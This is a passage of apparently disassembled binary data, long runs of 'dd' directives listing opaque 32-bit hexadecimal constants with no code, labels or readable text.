0BB07737Bh, 0FDCEFA74h, 0D618289h dd 47700807h, 12D67660h dd 59686559h, 0D954B03h, 0E0B8D3FDh, 77238997h, 8F84E1BDh dd 8BE5D8D1h, 0B707A6Bh, 644BF913h, 3AC200BCh, 327AE946h dd 4C1285D1h, 55F15F3Ch, 546BBF2Eh, 78C1D527h, 59B80410h dd 6DE78101h, 2F148402h, 33FD3534h, 0DD90D3B8h, 0DB27092Fh dd 0C2E401F8h, 2FC59713h, 37BA4835h, 0B48264BDh, 5F275621h dd 0BB62B76Ah, 0CC493E81h, 26F8E5D2h, 599A5F5Ch, 2EC01DC8h dd 3700995h, 335F5BCEh, 0BD994E0Eh, 92D62861h, 0F70582B1h dd 30DBA612h, 0A195F682h, 0B4C4EA42h, 564E91h, 4CD21D2Fh dd 6CA23863h, 5AEF8012h, 847A3EEh, 0A51D55BDh, 594F6BC2h dd 0A9C40D63h, 0DADD71F8h, 97F650CEh, 1D456B14h, 415D6460h dd 25002E2Ch, 3ABB50D8h, 4DE83DE2h, 29BD0305h, 0B949A401h dd 6DAD8EA7h, 0E60A406Dh, 0EE0431FBh, 447BA155h, 0B13F89C1h dd 6834362Fh, 12C33FB5h, 1A7A0877h, 6D90E896h, 0C14E37h dd 438A0632h, 0D4035B92h, 0ED0A4913h, 2D11B704h, 0CFC02F1Fh dd 0D5041CAh, 99976191h, 2E885131h, 0C5A52ECDh, 12281117h dd 0F5E3DA8Ah, 0C6C28C5Ah, 0F1B32BE1h, 0A4C4E60Ch, 0BD008A22h dd 0E518A81Dh, 9EEA232h, 26870840h, 5F69C971h, 0D5692E51h dd 0D154D4A1h, 0F3A1F3D7h, 9531C4FFh, 0C6048D25h, 0F735B5BAh dd 6792D702h, 2742E61Ch, 703207CEh, 0CFADC056h, 0E71D40C5h dd 4B0009DEh, 69C4B1FEh, 92659D31h, 20505F4Eh, 6ACCE18Ch dd 0A404F0FCh, 14DC55EBh, 0BF0291BAh, 0ED5DFADFh, 25ACE0C1h dd 0FA009DC4h, 5478947Dh, 26A1BF12h, 823C59DFh, 2C0DB589h dd 60367C5Dh, 3BF345E1h, 0FA05B600h, 3CA06C15h, 2DAB05B3h dd 226025Ch, 0B52FF90h, 12DE51D4h, 0E13AF868h, 0F96E3AFCh dd 0BDFF1300h, 7954D520h, 4D9D2318h, 976051CBh, 0D1008A64h dd 44AC80E1h, 9DAA5C8h, 58FA52A1h, 61D03780h, 0A69C505Fh dd 0C1B5BBA0h, 0E10518F3h, 0EFCFFB43h, 0F871ED12h, 0C5A0117h dd 6A3E48C0h, 8F6A3C27h, 9E58A0CBh, 0A1C9Dh, 0D465BDE2h dd 681DFD5Bh, 0F5C62104h, 8AEBFCD6h, 0ADEDA033h, 31907D0h dd 198D2C12h, 28BBF5Fh, 0FCA02CBDh, 31D1A3C0h, 184BC5F0h dd 34A5CBAAh, 6EAB3BD0h, 0AD120187h, 0D77C8B4Fh, 40757934h dd 25B6A30h, 0E1E008A6h, 0D600FC3Bh, 8113D8BCh, 0EAAF6BEFh dd 887AFF63h, 0D50FAE76h, 0E047B232h, 0F93CCB8h, 1F6F97F9h dd 0DCFFC06Fh, 0ECDD826h, 0BD858919h, 0F284F693h, 0FE93014h dd 0C02062FBh, 74DC3586h, 133000D5h, 4E4AD8DDh, 1D261C5Eh dd 2C104D0Bh, 0EEE95B04h, 0B14BBC0Ch, 0A2055309h, 109B1F94h dd 0D89E2D02h, 5040F5D5h, 0E7706F3Eh, 0F0F6234Fh, 48BC66E0h dd 0E6F81A25h, 0BAE79854h, 302976ECh, 900C2019h, 53095250h dd 0EB5F2AB7h, 589BD758h, 905B2D0Eh, 84C1EE6Dh, 0E6D48DB9h dd 0FA4E276Eh, 0F925CB78h, 4AEED52Ah, 5F573297h, 33717C89h dd 1F54D84Bh, 276A6775h, 8C70D9DBh, 3CE32880h, 1AA13082h dd 22C9B565h, 401A6F9Fh, 0BCA1DCF0h, 0EC21ED25h, 0E811FF0Eh dd 0F3B81410h, 34A06FCEh, 8D638F66h, 2E37E90Bh, 73E51860h dd 8EC60E18h, 4370F79h, 0C3B4F099h, 0A085B0BAh, 700AE6E8h dd 3271E4FCh, 4385DE80h, 0F729B7h, 6EDDE124h, 5301CB7Bh dd 4031F525h, 4BCEDA9Fh, 0FD39D35Fh, 4B235084h, 4E1E8ABAh dd 0E0D2FBB8h, 844E93Fh, 173901A1h, 132A834Ah, 4C222F3Fh dd 63245FF5h, 5C7F8CC1h, 85674100h, 0BE197502h, 0E5D0298h dd 6011F0D0h, 0F4314F5Eh, 142F17EDh, 0B6C0C84Dh, 0A11D8C9Bh dd 5EA83300h, 32EB3B76h, 9D20478h, 12F6195h, 0C82BF55Fh dd 0D13A3E21h, 2CD18BFBh, 2BB8E9Dh, 0E22635C2h, 752077D7h dd 0AC15E781h, 0E151AD25h, 212B6059h, 0F03FDD27h, 2901A97Eh dd 54A47BC1h, 0AD406BAEh, 0DC61C38Bh, 8D010934h, 73A8A975h dd 9D098435h, 0E915E0ADh, 87F33E4Eh, 0BCF2AB16h, 38DFD48Ch dd 0ADF35A19h, 5A248411h, 9D08C2E6h, 0A5941E39h, 94FE2621h dd 5E186A2Dh, 0F20B12E4h, 84E3C821h, 0BF1C29BDh, 10E10431h dd 0C86C9B7Eh, 342AC018h, 0AC5AB750h, 0C100DBB2h, 0BA8B0DBCh dd 24EB8D29h, 45B95BC8h, 5348BB80h, 98113772h, 0FF41967h dd 84019A50h, 75B95FF3h, 9B6E4CA1h, 0A4E180AFh, 6BF098Ah dd 79D7F8FBh, 1AE86256h, 0FDA30282h, 0CB795E22h, 7740DB4Dh dd 3EF2BE3h, 6F809A7Bh, 6822DA8Bh, 78FC61F1h, 0A52AC9BDh dd 955364DBh, 0E6004844h, 0BBEFEB36h, 5E8023h, 4709E2DEh dd 0A6D23F48h, 9DC2D43Eh, 0EDE52B79h, 2AB5A795h, 64E49200h dd 5EBD38D4h, 826CC4F3h, 0BD7D61AAh, 0E2068015h, 8DCFA161h dd 99F81D06h, 923880Dh, 1830BB66h, 0D8128F7Bh, 27538BF3h dd 3A7CC002h, 0CC512970h, 0B5432303h, 0F84B9839h, 7AE80207h dd 21AD642Bh, 5B1252D4h, 6BF572F2h, 1920002Dh, 0ECD9D6B3h dd 7F013B6h, 0B813A950h, 84210EF6h, 40498346h, 4C404A76h dd 0E8070C2Fh, 0FAA20086h, 0FCA3C9ECh, 0ED04AE7Eh, 0CED2D7ABh dd 129108AFh, 9FF25F12h, 43A56B88h, 0B80E8491h, 0C03F9E12h dd 63A239D2h, 649D25B6h, 279C90EEh, 0A47C07D4h, 51932BC7h dd 0D878039Fh, 0CC92F5BDh, 6F2ACC97h, 0F392CBE1h, 7DE18C97h dd 0EBDF0C81h, 0F30CBD8Ch, 72079B09h, 46807915h, 69033E3h dd 0E795057Ch, 619A11ACh, 5CEFBC4Ch, 3C296B61h, 723810B8h dd 96880DC6h, 523FE0A8h, 25A4B982h, 5D7AE2DAh, 0A125FB9Bh dd 5D80E61Bh, 0DB5A4834h, 5AAA8616h, 120D5E7Eh, 0A97FA248h dd 1F712F0h, 3254D8E7h, 6322D73Bh, 1B3A00F3h, 0B4270982h dd 3854072Eh, 0B281213Dh, 25E66083h, 0ED679912h, 82B0B3EFh dd 0CB61B589h, 5E5BA266h, 640967ACh, 44DEA115h, 424DA5FEh dd 78C9CD1Ah, 3FA62E6Ah, 0B7C0EAF3h, 68056BE4h, 0A672ECA4h dd 152EFCCh, 0E7E68EFDh, 80817841h, 0AC175B78h, 121DBF59h dd 0B6447F51h, 3116B211h, 0F5F8F830h, 6472ED95h, 0CA206018h dd 8E2B2774h, 893F908h, 0E9091F3Dh, 5710776Bh, 0EE950BFDh dd 8FBB0F7Fh, 0F3920E9Fh, 0BFDB4A0Ch, 664AE083h, 7BFB8625h dd 2743267Eh, 0B90477D2h, 1ECF34BBh, 807460AFh, 895F17E7h dd 9802256Fh, 38B7DEB1h, 0D540005Ch, 1660BCBEh, 0A08ECC45h dd 7E821601h, 97942A85h, 35B7D5h, 9FA4159h, 8997B74Fh dd 0DBBA8303h, 0F82BFF96h, 22334212h, 20C906Ah, 0EBAE6968h dd 0DA80605Ah, 0CCEDF6BEh, 80958690h, 0F4AD96C3h, 780A935Ah dd 2216BF7Ah, 8DF262EAh, 9DFEEC1Ch, 0E30A128Dh, 0BF6604C4h dd 3BE12343h, 0FDFDF00h, 126C9731h, 13E922h, 805396B5h dd 0ACF3A82Eh, 79924900h, 60C4E2FBh, 0E0040CFDh, 503661CCh dd 0BCAF904Dh, 614897D1h, 0B893E94Dh, 99127624h, 6127DEACh dd 0DC700953h, 3323065Ch, 52F586F2h, 95121520h, 0F2CCB96h dd 6040768Ah, 0B60DB533h, 608B247Ah, 0FBA081C4h, 21FE3B07h dd 8290F4FCh, 25BBB34Ch, 0E865615Fh, 0C8E75412h, 271075B0h dd 4BA4054Ch, 38024E4h, 72B3E6C7h, 0A78440E9h, 79A5A0B9h dd 8B2338F4h, 0FEC2E725h, 0D2541D57h, 4D4EE7Ch, 0BB5088BAh dd 97E0E162h, 0CB05FE06h, 26CE04D5h, 4B978511h, 9E215B20h dd 0E31E2924h, 29DD69F7h, 0C066CDDFh, 0E9DEC721h, 990B622Fh dd 0BDE056C8h, 4A8D924Dh, 0B458F65Fh, 0F0E8FD70h, 65E30019h dd 0F3C09DBAh, 1A97F5C4h, 697EFE4Ah, 35E9375Ch, 0C7AD8055h dd 0B689C5Ah, 0D4859D25h dd 8F0F8BDCh, 0C7683DFCh, 4D268C24h, 0B39412DEh, 0B265A6E3h dd 2BEE3017h, 0DA34824h, 25EDF12Fh, 169798F8h, 51359F0Ch dd 0DF82312h, 0F71CB512h, 0F844A07h, 6BD200B9h, 0CB83031Eh dd 9C0FE889h, 3DC88AEEh, 0FDAE0053h, 0FF30B172h, 179A97F0h dd 37B7FFh, 7FD023CBh, 89209D09h, 0BB51011Bh, 2955AE86h dd 0D921385Fh, 92EF8E8h, 0D970FCFAh, 0B0098F9Eh, 59D873B1h dd 25481816h, 0CAC2FD76h, 3C078CFh, 27896417h, 715901BDh dd 118F0F0Fh, 523AF924h, 31F35D5h, 499ADA14h, 0CFB63580h dd 59B7482Ch, 0C505A90Bh, 0BC6DA5B0h, 0B6EAFE40h, 589E62B3h dd 0B0B0AADh, 97560E63h, 0FFB70302h, 0C4A14D5Bh, 7AF06019h dd 6C8E1763h, 0A63D0433h, 0C4BBB8FCh, 0ECBE8529h, 9BCA4ADFh dd 85042A21h, 604C16D9h, 8A396102h, 7660DCE5h, 0F764695h dd 7C53B266h, 0B5F87889h, 12830570h, 0E201D90Ch, 0B013B874h dd 5669F0Ch, 0FFFB3904h, 1410595h, 591ADDBDh, 0F3FA4238h dd 56CF6B5Ch, 0BAFBC8h, 0C63A4243h, 0A8FCD598h, 9A50A100h dd 1B635D57h, 7A149761h, 0DD2A3445h, 0C0415A6Dh, 15FD2326h dd 33773BD5h, 0C6A6258Ah, 0AA54A5C4h, 494F5B25h, 0C99D5922h dd 0E8E9D7A2h, 2F7D5Ch, 8BAC501Dh, 781FB3C1h, 9F04296Fh dd 0FB8B7716h, 0EAD371B9h, 0D00E666Ah, 5084FD99h, 28FC251h dd 5FD5B721h, 0F4674338h, 0F22058B9h, 0AFB1725Fh, 186E2Fh dd 0FE114632h, 4A07483Fh, 0E4292038h, 1B3CDF55h, 0F73CA531h dd 0B525966Ch, 9528FAB1h, 4B40DA4Fh, 0AD64958h, 0CAD028A7h dd 12417A1h, 95310633h, 1257CE91h, 10C0F466h, 0FC902717h dd 0A8FEC51Dh, 84885AAFh, 2B6B00D8h, 58B79C17h, 0D2904215h dd 310F5B12h, 1802DD4h, 645A6CB6h, 0EF900458h, 0D53F1E6Eh dd 15BEC9Dh, 7FF73ADDh, 6A69EC80h, 0ADE237B7h, 0F5601DF0h dd 59BD033Eh, 0E4F39D0Bh, 0EA8D37Ah, 3C80BB60h, 0F1CD2045h dd 0B509C217h, 60AC2724h, 0E078B6D3h, 328D89D2h, 0D1B11F95h dd 9495EA58h, 7B964B5Fh, 97070012h, 6A53A0A9h, 9835127Ah dd 791A091Ah, 0CD256273h, 3F45472Bh, 0E692C4C0h, 0E92212F3h dd 0EF9D0708h, 0E152C9FDh, 20902794h, 0E607BF3Bh, 5B3C3168h dd 7014F399h, 5902987Ah, 7D27B8DCh, 0E085DFBFh, 12B18A1Ch dd 70B88FE9h, 622EE1h, 0D20C880Fh, 8160FE1Bh, 821F5D95h dd 32B3077Fh, 78EB736Bh, 4305BC0Fh, 1F18ADCh, 831CB2E2h dd 0E5EA1CD8h, 78B54146h, 54121484h, 8516EC74h, 0B3F3529Dh dd 10894B48h, 183F33Ah, 37E61EB1h, 22E90A5h, 53605040h dd 0B858E740h, 12C2670Eh, 9B90EA01h, 71297909h, 0BE604027h dd 0A02C6324h, 0BB60CD15h, 698A1EADh, 9056404Bh, 60694D52h dd 837B66E8h, 9B1A6502h, 0D5FA8B90h, 0F85CF7CCh, 816A3D6Bh dd 1F6BE381h, 0C7610515h, 0DEBB8504h, 9C0812Bh, 0AF41AFF5h dd 8A2B0801h, 31FE344Ah, 1F5AD730h, 0B9652DC0h, 640FAD0h dd 8EB0505Bh, 558E006Ah, 8970E677h, 59B5D5BDh, 0AC501606h dd 0D381C0FFh, 63989012h, 2D8DA82Eh, 25D22D4Ah, 39682CC0h dd 0EC0B2140h, 0B00DD2B1h, 8016601Ch, 34AB81DEh, 0EDEA1728h dd 9EB45AA3h, 1F164365h, 7265D380h, 0DF810454h, 0B82B5118h dd 3B15C444h, 0A0688681h, 0A3606DFDh, 57176679h, 955A10D1h dd 5E581FE7h, 0BF06B45Eh, 0F8FA280Dh, 4E7CE66h, 298531D5h dd 0DCE7AC27h, 92F98A2h, 41E9862Eh, 0D1251C44h, 0E948761Fh dd 2C11E051h, 0EC95091Fh, 0F2DAB97Fh, 0A58314E3h, 3FE1D1Bh dd 826C7AA5h, 5756008Ch, 9AACB81h, 5F41F03Fh, 180BE85Bh dd 0F4A274EFh, 0D1239A07h, 1367684h, 5668A244h, 0E835E900h dd 0BF0082A8h, 0E17FFE51h, 0B5A2C0E6h, 0EC76E8E2h, 263D8740h dd 23C701Fh, 5688406Eh, 0F3A012B9h, 0EA6DF781h, 513FDD2Eh dd 59270909h, 8BD92DCAh, 80056527h, 758C937Bh, 242ECE03h dd 0A508360Eh, 0FC5F0501h, 2BEB8180h, 0F28B66C0h, 70B8F76Dh dd 177B86E7h, 38CE8852h, 71FD4BBAh, 0EC0431ECh, 0FE659FCEh dd 7AF6EDACh, 954BC770h, 0FEE17EA6h, 6BD22F1Bh, 8D010030h dd 548A2675h, 25FB49CEh, 31C4F671h, 6442B703h, 1699C10Ah dd 0B592B81Bh, 0AAA8FCBDh, 7672E005h, 8AF7487h, 0F5120B1Dh dd 6BD6A4B9h, 4A3F7AACh, 9F060032h, 0F9E5482Dh, 0E59D5B0Bh dd 232F2B9Ch, 0ACABF94Eh, 171E0A5h, 0E8E7074Dh, 39FE8A5Ah dd 57AB890h, 5256ABE6h, 0B967AAC9h, 440C7119h, 0D210ED6Fh dd 99B8F4h, 9DACC74Fh, 0D1411E52h, 26A1BA3Fh, 3C40C9E8h dd 0BF19EE4h, 5C4EB8CDh, 192D3107h, 60826D7Bh, 6A598529h dd 6EADDE7Ah, 2DEDE2B7h, 2BF7361h, 0E1FFD88Bh, 0B770497Bh dd 0E0F04C7Ah, 0E2915912h, 9EA29F10h, 0BB38DC47h, 0C53BA50Bh dd 82DF1023h, 1E2D318Dh, 82F9645h, 60181A06h, 972FF50Eh dd 4D2D13D3h, 96DF4971h, 20F95A6Ah, 0ACD5BD0h, 3C098978h dd 703E3A4Ah, 73D9A033h, 2B2497B1h, 23604E11h, 0E16853B8h dd 0B5606146h, 2F189955h, 9CF9839Ah, 0CCBADE25h, 84121DAh dd 0BFD5602Ah, 0CA13D9C5h, 0A3AA9018h, 50F80B73h, 5FBF8753h dd 8FAC37E9h, 7DA0ABE7h, 0D3E7569h, 0B608655Ah, 2EED4B05h dd 0C04D76C9h, 95924ABFh, 8A68143Ch, 0A611EC04h, 508DE509h dd 7F41EC6h, 20B9EEF3h, 0CB801235h, 244CA3C4h, 9968000Bh dd 2D2EFD08h, 546359h, 0AF0BF75h, 0FE9270Dh, 0DB7A024Bh dd 0D3827500h, 55113F9Dh, 24167A12h, 0AD4A08E3h, 255CB802h dd 21CDFC6Ah, 0E2621464h, 4078FA40h, 62201A97h, 9629F715h dd 0BBC01756h, 0F989767Ch, 9B2302Fh, 89952D9Dh, 59F35311h dd 0E0181Ah, 0C10AF522h, 0BD316FD6h, 59059125h, 8BFB25FDh dd 1222870h, 5874BB96h, 7E500F82h, 24B48220h, 28D724Ch dd 9FB55104h, 0C75656C2h, 96145B67h, 0B3E091B6h, 6C05CAC8h dd 780AF2EFh, 0AEB7F2D1h, 0FFDD022Eh, 9296AB5h, 0B56B7AF1h dd 0BB0044E5h, 6D8C32E4h, 0B7339850h, 614ABC72h, 607761E3h dd 53BF898Bh, 1179DE27h, 7014DBE1h, 96C05FF9h, 0A51AD108h dd 1540AFD6h, 39036Eh, 0C250B991h, 0B5A0FB47h, 52681806h dd 2749373Bh, 0DE6D585Bh, 0CA761FC1h, 64FA96C4h, 0B8DF4EB8h dd 33F0D791h, 0EA698329h, 41965A20h, 43273FD0h, 0E6AA9F40h dd 80AE001Bh, 0AD67D933h, 0DCA12612h, 48226C61h, 1B0D1616h dd 0BBB59DE8h, 0FDC0E3DAh, 0A735F3DFh, 9921813Fh, 79646164h dd 0A039AB15h, 0B5C50530h, 239A7EC7h, 0DC32FE27h, 53E9E128h dd 1F569882h, 0A7D4C975h, 4DE38160h, 35712F8Eh, 0CC009C37h dd 0B1F9096Ch, 3AC73B4Dh, 9268F24h, 2A710BB9h, 0A042CC2h dd 19B508BCh, 0D0BE082Fh, 95041658h, 80D135FBh, 46ECC87Eh dd 0FEA89125h, 5FDA0B3Bh, 156485EDh, 25F43261h, 4A6B689Bh dd 0DA2F4CDDh, 0A0098393h, 53A1E4F3h, 0DA6AEE25h, 0C414C8A4h dd 0D261B85Eh, 915034B0h, 52A680E7h, 5D62D3B9h, 2A04F9E0h dd 0D2167021h, 9B4A47B8h, 28A08340h, 0A0CBF3D3h, 0AC6BB6AEh dd 9D2B09B9h, 287323CDh, 0D529A8A0h, 35497D1Eh, 69A5801Ah dd 0F07C560Dh, 5F2C2D7Ah, 0C1CBE6Bh, 4831C6E5h, 172D582Bh dd 0BEB03E73h, 4E0C3FC1h, 560C320Eh, 81AE1855h, 0DEDD09CFh dd 0E356744Fh, 0FF537AFh, 48CA25ECh, 20500BBDh, 6C7080D3h dd 0F0501CDh, 0DCB35FDBh, 0D9133B9Ah, 2CB77C12h, 3FACEA4Dh dd 25F7D15Ch, 59AF0919h dd 9D8B8431h, 0CC52BF59h, 25D2CFDBh, 7ED12926h, 277356Ah dd 23DA2F8Ah, 8385E391h, 6E2AFEFFh, 0B3C2C483h, 0C75EC10h dd 0E0BB500Eh, 853E6704h, 0DF9BBB9Ah, 8B346AC1h, 936038F8h dd 5BA972AEh, 91BBB5D5h, 4ECB811Ah, 0ABD0F50Dh, 0A2799F45h dd 43E78800h, 13B97D9h, 0E06A111Ah, 2B5BEF32h, 0ACA0198Ah dd 0CB055DAFh, 0B56AB4D3h, 0EC4B9AB2h, 7490279h, 5C40EC23h dd 2F485188h, 2E04CB7Bh, 0C7BA0E07h, 0B1D24AAh, 0F96D9196h dd 4CBD0E06h, 1FAFF516h, 11F9DAAFh, 40526A96h, 0B78440B9h dd 0D282B85Eh, 29B16404h, 8AC682B9h, 0FA5A42DCh, 0DA4F1FE7h dd 8EC080F2h, 0BD4C0313h, 3A99A960h, 668D0F27h, 8AD84B29h dd 3E5C219Ah, 72095DAFh, 5BA7A05Bh, 5B9650DFh, 0DF2AFAEAh dd 0C65F9256h, 6600717Ah, 725F940Ah, 654C456Bh, 22A91239h dd 0EFD0C2E3h, 0E940C53Fh, 0BF84804Bh, 0B9B84FE9h, 75502266h dd 0AFBB0071h, 8B64798Fh, 9D1303C1h, 2DFA122Dh, 0A8E83D71h dd 1A8D007Ah, 0FB025B33h, 9048F0DDh, 0E2A89345h, 215B6880h dd 401C7B7h, 0CF89D862h, 4D249FE5h, 0CAA201BFh, 0F8901E96h dd 0CAF63A6Ah, 0ADF93CF1h, 31DF213Ah, 53BCF80h, 0EA714746h dd 7A800D9Eh, 0AA72EC15h, 0C22F3B25h, 709773B4h, 5400B2A1h dd 0D82538ACh, 10239882h, 481E519Dh, 0CBD104C4h, 42AE4F44h dd 6AFBB7C5h, 804A377Dh, 66B78AF2h, 42D37598h, 9D33FC60h dd 8B014B0Dh, 2F6A4E99h, 8057F302h, 8F5C5FC7h, 81732967h dd 0D165042Dh, 0B838C380h, 2A46A273h, 233D084Fh, 4D4A8D20h dd 0EC02484Ah, 0CF121B24h, 60C829E1h, 0F15F7161h, 0E0ABA62Ah dd 2326175h, 963B13E6h, 235CD449h, 513C26C4h, 0B3407141h dd 95071CE1h, 0F978E273h, 1C14023Bh, 665177D3h, 0B61F556h dd 0D5241DBDh, 0F88A1D90h, 5AA12850h, 175CB7CFh, 6CA4B99Dh dd 20F625BFh, 1FFDD462h, 811791E2h, 0D3E866C7h, 532189D9h dd 0B35F6392h, 44B77DD6h, 9F6A7D1Fh, 310277B7h, 0C0D53796h dd 0D70C3536h, 2DE2BCCBh, 307A9044h, 2F797F56h, 0FD749893h dd 731DD660h, 0FA743Dh, 0DBBF29CFh, 585FBA6Fh, 41B2D3Bh dd 5B4A787Ah, 3A84F7ADh, 76BD1601h, 0C05C5C4h, 1D910B0h dd 0A5BB70E6h, 4167FBDDh, 1AFDB8h, 0FC6671E4h, 0F8E95BD3h dd 25018AA3h, 59178909h, 8D502FDEh, 0C136BA54h, 5EF2FAB7h dd 0A034E882h, 7D8966h, 0AD724121h, 0EA49F4AFh, 5EE38C95h dd 0ED1A4E51h, 0B93824Ch, 0E2C25E43h, 0E2824A99h, 2B200FE5h dd 0F851C8h, 0BFD18B5Bh, 0EAA04E4h, 9D315709h, 317372B5h dd 605B20E9h, 75A5F10Bh, 36206E11h, 4D3DECh, 0D635A07Bh dd 0DABCB8BBh, 9C3FB200h, 97F28A5Fh, 2563BCEAh, 0EA6BD7Eh dd 21751A60h, 0B3FD0049h, 0D38C47Ah, 1997E72Fh, 482EF920h dd 5297221Bh, 532D514Ah, 0B3DC5517h, 0A19700CFh, 31A6A9A5h dd 7B01BAD3h, 0C1FDB7A7h, 0A33BBEC7h, 381A4D5Bh, 338A4B2Dh dd 0D4C8B31Eh, 0E05A16A5h, 7DC55D5Bh, 6B489589h, 2462800Dh dd 0F0421122h, 78C93301h, 0D32B87B3h, 5733612Eh, 0F61305F9h dd 6A7CE0AEh, 5BDEE89Eh, 8420BC3Ah, 6FAB1759h, 916233Ah dd 445C94F8h, 62E1DF17h, 0A8B9A98Eh, 2AFE696h, 6D589F8Bh dd 16285CF4h, 6527EF29h, 71B75379h, 83A27BEFh, 22A1DA62h dd 92C02B03h, 0EF5DEDD2h, 0CC5F8EC0h, 2B169308h, 89ADADBFh dd 248C14FCh, 2D638026h, 0DE1626Dh, 2D312515h, 8C2A1BE1h dd 0CF1681E7h, 0C7B6D6EDh, 4AEF127Bh, 0B2D2B635h, 2898331Dh dd 0BFA5165h, 4AFE2201h, 85896034h, 9295F3Ah, 802B5995h dd 95746F54h, 1E2445B5h, 56A60542h, 148251ACh, 6AA1C3C2h dd 9FE55A6Ch, 6178365Bh, 4AD6FC7Bh, 0B2B6A6F4h, 45C0301Dh dd 92B06C00h, 0B7D7363Ah, 0F38004ADh, 0FBBD098Bh, 0E1FFF691h dd 0C7F0CC26h, 0C796F943h, 11BF4525h, 9F502CFBh, 36321160h dd 0A164025Fh, 0A9B589B4h, 0EEF55570h, 0F451B556h, 0E0CAE615h dd 0BB59703h, 8B496705h, 0AC2F52A4h, 52FEE4D7h, 6EBFBCh dd 0F0450C00h, 0F4DCB5FCh, 14D6E40Bh, 70187B60h, 6C50B4FDh dd 154B998Eh, 722D1499h, 9204D6A8h, 500A54D0h, 262045B8h dd 0B5B25F5Ah, 88296D11h, 976A419h, 91532ABDh, 31FD48B1h dd 3E75DD6Ah, 4900526Eh, 72C8AB10h, 0A690F9AEh, 7C1F2BB5h dd 54260944h, 0B7D74662h, 55CE0B0Dh, 0BFFEAE04h, 92CC8C2h dd 0FA12D75Eh, 0FE8B90A0h, 31590968h, 6EE057A7h, 0FE48DBBh dd 3573F5h, 0BC0B4EA1h, 0E68E74BFh, 0C9570016h, 315E7D54h dd 7C097AFBh, 70585AB4h, 32A6090Ah, 2B3757B8h, 42E9FE80h dd 7FA53658h, 153D3138h, 7F96FC98h, 0D1FE7662h, 64900008h dd 8E3ABAB0h, 0C480A525h, 756DB52Dh, 0EF5D2BE0h, 0DA1E0B3Dh dd 0B1F5A9ECh, 17249EFEh, 84CC4BB3h, 0C57BEE12h, 59D23800h dd 6F2262F6h, 0E0F59B27h, 97214B16h, 0CD5F1D1Ah, 0A79AC017h dd 9013BBCh, 0F88B60FCh, 342E61F9h, 1C30BF23h, 55EF65h dd 49CC4E28h, 910A2572h, 5E4B242Dh, 0CECB1AF0h, 0B92AC404h dd 0B89BD73Bh, 0EBE2A080h, 0B017D1Bh, 117FD05h, 0D62E959Dh dd 0FFF10461h, 0E26FAEDCh, 9F001523h, 0F9BD29F2h, 0B0599526h dd 30BCBB80h, 0BD8B0F50h, 39975518h, 0C924D0B6h, 0AD001DEh dd 38FEA05Eh, 75A342B7h, 1B28ABD4h, 67BDB5h, 548C6836h dd 5FF0929Ch, 73C9C095h, 6D822EAFh, 0B66E0258h, 0D9567534h dd 5225A668h, 20504AF5h, 0D50C4522h, 3C881826h, 0B0BFF980h dd 95305928h, 0CB6DC4BAh, 28853560h, 0C9F61F5Eh, 752089C5h dd 0D5D302D7h, 2F9E5522h, 0BDC36BCh, 8C0F0BB1h, 45A5C179h dd 1F0B1812h, 0A516CF80h, 80C81EE9h, 0CA9D95DAh, 0B54A4072h dd 625D8225h, 509C549Bh, 3BE10464h, 0AFC063DBh, 19D9DD1Ah dd 0E56C8A3Bh, 0A72CDB66h, 0F9044E31h, 293E845h, 0AA59DEF7h dd 0AA548D89h, 0EC2F95A8h, 915EB53Eh, 0F517C415h, 0A75EB5ACh dd 719A0002h, 6313EEC7h, 1F929531h, 0FADE19FCh, 0DAC7A992h dd 0B7A1312Bh, 0FB4770EFh, 0DE80269Ah, 0F6BC317Dh, 5994FBEBh dd 3B5B181Dh, 0F33FBF68h, 0ED4A2185h, 802CBCCFh, 4B6757D4h dd 0EF4869ECh, 0EB0093BFh, 0D6DD392h, 71460E12h, 31769D03h dd 2A2CC90Dh, 7B02007Ah, 17F8BB16h, 2B518B41h, 6EABB334h dd 56E00267h, 821DB1A9h, 2FDDC0h, 0D1B50953h, 5B1665BEh dd 1AB2E7A6h, 0DD3E9933h, 4AAFDED4h, 0A803849Fh, 0BC5A4DF2h dd 0B223669Dh, 3D959769h, 779F80F5h, 0CA09CF7Dh, 0BEED9312h dd 9A4EF0B7h, 0BC628714h, 1478D4F0h, 401E94BBh, 11B30263h dd 0B4766100h, 0EBBE6AEFh, 0C9100137h, 450E386Fh, 7302EAAh dd 469D8D01h, 52DA5E30h, 37F2EA80h, 0F83F2EBBh, 0BC8DCA9Fh dd 0D16F6Ah, 0E885F53Fh, 0BCF9BF08h, 8A01695Ah, 2A325D99h dd 27680DC9h, 353FE180h, 5C1C6BCBh, 0A1C03A20h, 0CD95293Ch dd 0E645B518h, 9D6E3270h, 0C24492D5h, 60C054F3h, 0D03F71BBh dd 95CA264Ah, 0AB484F35h, 5CC06A9Bh, 6096BF6Bh, 61FA839Dh dd 0AFA0C350h, 5EC97FA7h, 2E02DCEBh, 0EC8A99E7h, 8CDFD879h dd 9B84BF92h, 0C8FD130Bh, 226AFAB5h, 474EA500h, 5C65B577h dd 0C452DA25h, 7D390075h, 0BCCE8B11h, 840B7790h, 8244BFCCh dd 2B19A9h, 4E08BB5Bh, 541BDB25h, 1D46D6F5h, 49069300h dd 0F7E0D5E4h, 0CEFD2539h, 19DA98EEh, 282A3041h, 67E159D9h dd 8873B3FDh, 146F67BBh dd 0C3301596h, 0F966F925h, 59B5893Bh, 5BC62FD6h, 5BA3D09Eh dd 21CD82BFh, 98B45510h, 0B48EBF04h, 0D4AC84E9h, 3DFF204Ah dd 82252E7Ah, 0C8E569Eh, 0FEB0C18Bh, 0BEBB661Ch, 0BA6625h dd 6FE78052h, 81B7905Fh, 0EEBC52BDh, 51852509h, 71BD68C4h dd 0BD5EBC30h, 32BCAAh, 694DEBDCh, 0D8A93F25h, 40897640h dd 0BD362B2Fh, 12A80DE5h, 0AC0B7FBCh, 9595CD2Dh, 94FE2E20h dd 0B600FD0h, 0CCF049ABh, 9E61F530h, 30FA1ABBh, 800E408Bh dd 9A95DBF3h, 5E1F8933h, 0EFCC506Ch, 0C0485200h, 0E70F41B4h dd 0DDB0481h, 0AA5BE60Ah, 0BBDABC74h, 0F99CC5DEh, 0ED0682CEh dd 42BC0F55h, 565BAFE3h, 1670514Bh, 26A27ECh, 0B4002B37h dd 39AC03B3h, 206316F4h, 50A01C3Bh, 2890242Eh, 782DD41Fh dd 30BB0CD1h, 82195B0Eh, 0F99D684Eh, 0AEB0C466h, 1B006BE8h dd 96415DFDh, 98096607h, 0E904400Ah, 0BDF33B4Fh, 27FC684h dd 0F5699D01h, 0E8E45BE4h, 74569A95h, 0C750134Eh, 872D62DEh dd 0AB259D0Fh, 382ADF7Fh, 78E0A31Bh, 84139439h, 84FD938Bh dd 